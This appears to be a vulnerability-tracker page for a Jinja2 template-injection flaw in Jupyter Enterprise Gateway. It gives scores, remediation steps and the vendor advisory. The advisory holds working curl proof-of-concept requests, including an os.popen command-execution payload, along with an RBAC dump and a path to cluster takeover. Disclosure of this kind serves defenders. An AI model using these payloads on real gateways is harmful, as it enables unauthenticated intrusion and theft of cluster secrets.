Skip to main content

Jupyter Enterprise Gateway CVE-2026-44181

CRITICAL
Improper Neutralization of Special Elements Used in a Template Engine (CWE-1336)
2026-06-03 https://github.com/jupyter-server/enterprise_gateway GHSA-f49j-v924-fx9w
10.0
CVSS 4.0 · Vendor: https://github.com/jupyter-server/enterprise_gateway
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Reach gateway /api/kernels API
  2. Delivery
    POST kernel with malicious KERNEL_POD_NAME
  3. Exploit
    Jinja2 renders template, executes OS command
  4. Install
    Read mounted service account token
  5. C2
    Use RBAC to dump secrets
  6. Execute
    Schedule privileged/hostPath pod
  7. Impact
    Compromise cluster and workloads

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V1 - Encoding and Sanitization Template injection prevention
Exploitation Conditions

Exploitation requires network reachability to the Enterprise Gateway REST API (the /api/kernels endpoint) and a deployment using the Kubernetes kernel launcher, since the injection occurs while rendering the Kubernetes pod manifest from KERNEL_* environment variables. The attacker must be able to submit a kernel-creation request whose env includes an attacker-controlled KERNEL_XXX value (e.g. KERNEL_POD_NAME or KERNEL_WORKING_DIR) carrying a Jinja2 expression. Per the vendor CVSS 4.0 vector (PR:N/UI:N) no authentication or user interaction is required against the configurations reflected in the PoCs, and no non-default feature toggle is needed. The principal limiting factors are: the gateway API being on an internal cluster network (PoCs use *.svc.cluster.local), any authentication/proxy placed in front of the API, and the requirement that the target run the Kubernetes process proxy; the severity of post-exploitation depends on the (broad, in the reported case) RBAC granted to the gateway service account.

Impact

The signals are mostly aligned toward high severity but with an important caveat on reachability. The vendor CVSS 4.0 base score is 10.0 (AV:N/AC:L/AT:N/PR:N/UI:N with VC/VI/VA:H and subsequent-system SC/SI/SA:H), reflecting network-reachable, unauthenticated, low-complexity RCE that pivots into the wider Kubernetes cluster. Publicly available exploit code exists in the advisory itself (concrete curl PoCs), which normally raises real-world risk. However, EPSS is only 0.86% (76th percentile) and the CVE is not in CISA KEV, indicating no confirmed active mass exploitation - consistent with the fact that the gateway API is typically an internal, cluster-internal service (PoCs target *.svc.cluster.local endpoints) rather than an internet-facing one. In practice the dominant limiting factor is network reachability to the gateway API and whether it is deployed with authentication; where the API is exposed to a notebook front-end or untrusted network segment, this is a top-priority patch. The CVSS PR:N assumes the API accepts unauthenticated kernel-creation requests, which matches the PoCs but should be verified against local deployment (many installs front the gateway with auth) - treat as a high priority in default/internal-trust deployments.

Exploit ScenarioDerived

An attacker with network access to the Enterprise Gateway API POSTs to /api/kernels with a KERNEL_POD_NAME value containing a Jinja2 payload such as 'bdawg-{{ cycler.__init__.__globals__.os.popen("hostname").read() }}', which is evaluated during manifest rendering and runs OS commands inside the gateway pod. The attacker then reads the mounted Kubernetes service account token and uses its broad RBAC to dump secrets and schedule a privileged or hostPath-mounted pod, taking over the node and cluster. Working exploit code (curl PoCs demonstrating both {{7*7}} and os.popen command execution) is published in the vendor advisory.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.9% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv2 – Jul 16, 2026

Remote code execution in Jupyter Enterprise Gateway (fixed in v3.3.0) is possible because attacker-supplied KERNEL_XXX environment variables (e.g. KERNEL_POD_NAME, KERNEL_WORKING_DIR) sent to the /api/kernels endpoint are rendered through Jinja2 when building the Kubernetes pod manifest, enabling Server-Side Template Injection. Any client able to reach the gateway API can inject Jinja2 expressions to execute Python and OS commands inside the Enterprise Gateway pod, then steal its Kubernetes service account token to read secrets and schedule privileged/hostPath pods, escalating to full cluster compromise. Publicly available exploit code exists (working curl PoCs in the advisory); the flaw is not listed in CISA KEV and EPSS is low at 0.86%.

Earlier versions of this analysis (1)
v1 Jun 03, 2026 - 22:00

Server-side template injection in Jupyter Enterprise Gateway versions 2.0.0rc2 through 3.2.x allows remote attackers to execute arbitrary Python code and OS commands in the Enterprise Gateway pod by injecting Jinja2 expressions into KERNEL_XXX environment variables sent via the kernel-creation API. Successful exploitation yields the gateway's Kubernetes service account token, which (per the published PoC RBAC dump) carries cluster-impacting verbs over pods, secrets, and persistent volumes - providing a realistic path to full Kubernetes cluster compromise. A working PoC is published in the GHSA advisory (GHSA-f49j-v924-fx9w); no CISA KEV listing at time of analysis.

RemediationAI

Vendor-released patch: v3.3.0 - upgrade jupyter_enterprise_gateway to 3.3.0 or later (pip install --upgrade jupyter_enterprise_gateway) per advisory GHSA-f49j-v924-fx9w (https://github.com/jupyter-server/enterprise_gateway/security/advisories/GHSA-f49j-v924-fx9w) and release https://github.com/jupyter-server/enterprise_gateway/releases/tag/v3.3.0. Until patched, restrict network access to the gateway's /api/kernels endpoint so only authenticated, trusted notebook front-ends can reach it, and enforce authentication/authorization on the gateway API (do not expose it on shared or internet-reachable networks); this may break clients that currently create kernels anonymously. As defense in depth, tighten the Enterprise Gateway Kubernetes ServiceAccount RBAC to the minimum needed and remove broad secrets/pods/rolebindings/hostPath-enabling permissions, and apply Pod Security admission to block privileged and hostPath pods in the kernel namespace - this reduces blast radius but can prevent legitimately privileged kernel workloads. If feasible, validate or reject KERNEL_* env values (especially KERNEL_POD_NAME and KERNEL_WORKING_DIR) that contain Jinja2/template characters at the ingress proxy as an interim filter.

Affected Packages

pypi jupyter-enterprise-gateway fix: 3.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Jupyter Enterprise Gateway is a Python service that provisions remote Jupyter kernels as Kubernetes pods on behalf of notebook clients. When launching a kubernetes kernel, the k8s process proxy (enterprise_gateway/services/processproxies/k8s.py) and the launch_kubernetes.py launcher render the kernel-pod.yaml.j2 Jinja2 template, substituting kernel_pod_name, kernel_working_dir and other kernel_xxx values that originate directly from the KERNEL_* environment variables supplied in the API request. Because these untrusted values are placed into a Jinja2 template that is fully evaluated rather than treated as literal strings, they map to CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine / SSTI). Standard Jinja2 sandbox-escape gadgets such as {{ cycler.__init__.__globals__.os.popen('...').read() }} yield arbitrary OS command execution in the gateway pod's Python process. The affected package is distributed via PyPI as jupyter_enterprise_gateway (pkg:pip/jupyter_enterprise_gateway).

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/jupyter-server/enterprise_gateway) PRIMARY 10.0 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
vuln.today AI 10.0 CRITICAL

Unauthenticated network API request triggers template injection RCE (AV:N/AC:L/PR:N/UI:N); code executes in gateway pod but compromise extends to the Kubernetes cluster, a different security authority, so S:C with full C/I/A impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/jupyter-server/enterprise_gateway).

CVSS VectorVendor: https://github.com/jupyter-server/enterprise_gateway

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
Analysis Updated
Jul 16, 2026 - 23:30 vuln.today
v2 - CVSS changed
CVSS changed
Jul 16, 2026 - 23:22 NVD
10.0 (CRITICAL)

DescriptionCVE.org

Summary

The environment variables (KERNEL_XXX) used during the rendering of the Kubernetes manifest are vulnerable to Server Side Template Injection (SSTI). By including Jinja2 template expressions it is possible to execution Python code and OS Commands in the Enterprise Gateway service. The code can use or steal the Kubernetes service account token, which can steal Kubernetes secrets and be used to fully compromise the Kubernetes cluster by scheduling a privileged pod or a pod with a hostPath volume mount.

Details

The KERNEL_POD_NAME variable is rendered using Jinja2, allowing for code execution via template expression statements, in this code: https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/enterprise_gateway/services/processproxies/k8s.py#L219-L247

The Jinja2 template for the Kubernetes manifest contains several kernel_xxx variables, in addition to kernel_pod_name discussed above, such as kernel_working_dir that are used when rendering the manifest and are all vectors for SSTI. https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/kernel-pod.yaml.j2#L77

These values come from the environment passed in the API call, where they were KERNEL_XXX before being converted to lowercase.

https://github.com/jupyter-server/enterprise_gateway/blob/152c20f162f2fab700c04c8830ebf8c1e2e2217a/etc/kernel-launchers/kubernetes/scripts/launch_kubernetes.py#L130-L137

PoC

Simple demonstration of SSTI using {{7 * 7}}
bash
curl http://enterprise-gateway.bdawg.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{7 * 7}}" }}'
json
{"id": "1094076f-35c6-48a5-ae60-0c943bb97a9a", "name": "python_kubernetes", "last_activity": "2025-07-17T07:14:42.155736Z", "execution_state": "starting", "connections": 0}

Running kubectl get pods

NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-49                                             1/1     Running   0          3m54s
Remote code execution - OS Commands via SSTI
bash
curl http://enterprise-gateway.notebooks.svc.cluster.local:8888/api/kernels --data '{"name":"python_kubernetes", "env": {"KERNEL_POD_NAME": "bdawg-{{ cycler.__init__.__globals__.os.popen(\"hostname\").read() }}", "KERNEL_NAMESPACE": "notebooks" }}'
json
{"id": "85ec9431-d005-48d5-8127-5f022f2c5780", "name": "python_kubernetes", "last_activity": "2025-07-17T07
NAME                                                 READY   STATUS    RESTARTS   AGE
bdawg-enterprise-gateway-8695685bc8-klm4m            1/1     Running   0          2m25s

enterprise-gateway-8695685bc8-klm4m is the hostname of the Enterprise Gateway pod.

Enterprise Gateway RBAC

The Enterprise Gateway service account has R/W access to several resource kinds.

Stolen Enterprise Gateway service account kubectl auth can-i --list

Resources                                                Non-Resource URLs                      Resource Names   Verbs
selfsubjectreviews.authentication.k8s.io                 []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io            []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io             []                                     []               [create]
rolebindings.rbac.authorization.k8s.io                   []                                     []               [get list create delete]
configmaps                                               []                                     []               [get watch list create delete]
namespaces                                               []                                     []               [get watch list create delete]
persistentvolumeclaims                                   []                                     []               [get watch list create delete]
persistentvolumes                                        []                                     []               [get watch list create delete]
pods                                                     []                                     []               [get watch list create delete]
secrets                                                  []                                     []               [get watch list create delete]
services                                                 []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io/status   []                                     []               [get watch list create delete]
scheduledsparkapplications.sparkoperator.k8s.io          []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io/status            []                                     []               [get watch list create delete]
sparkapplications.sparkoperator.k8s.io                   []                                     []               [get watch list create delete]
                                                         [/.well-known/openid-configuration/]   []               [get]
                                                         [/.well-known/openid-configuration]    []               [get]
                                                         [/api/*]                               []               [get]
                                                         [/api]                                 []               [get]
                                                         [/apis/*]                              []               [get]
                                                         [/apis]                                []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/healthz]                             []               [get]
                                                         [/livez]                               []               [get]
                                                         [/livez]                               []               [get]
                                                         [/openapi/*]                           []               [get]
                                                         [/openapi]                             []               [get]
                                                         [/openid/v1/jwks/]                     []               [get]
                                                         [/openid/v1/jwks]                      []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/readyz]                              []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version/]                            []               [get]
                                                         [/version]                             []               [get]
                                                         [/version]                             []               [get]

Impact

This is a server side template injection that leads to remote code execution (python and OS commands).

An attacker can get remote code execution in the Enterprise Gateway pod and steal its Kubernetes service account's token. It can use the privileges to spy on and interfere with other Jupyter kernel, read, write, or delete configuration maps, read secrets, access persistent storage, privileged pods, or create pods with hostPath mounts, which can be used to compromise the complete cluster and all workloads on it.

Executive ViewAI

Why It Matters

Jupyter Enterprise Gateway versions prior to v3.3.0 contain a critical remote code execution vulnerability enabling unauthenticated attackers to execute arbitrary commands and compromise Kubernetes service account tokens for full cluster access. With publicly available exploit code, immediate patching is critical to prevent infrastructure-wide compromise.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.9%
Top 24% exploitable
Prevalence
Low
niche Jupyter/Kubernetes multi-kernel gateway, limited enterprise deployment footprint
Threat Intel
1
1 source
Social Media
1
Sightings
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.9%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

51
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:pip/jupyter_enterprise_gateway
CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy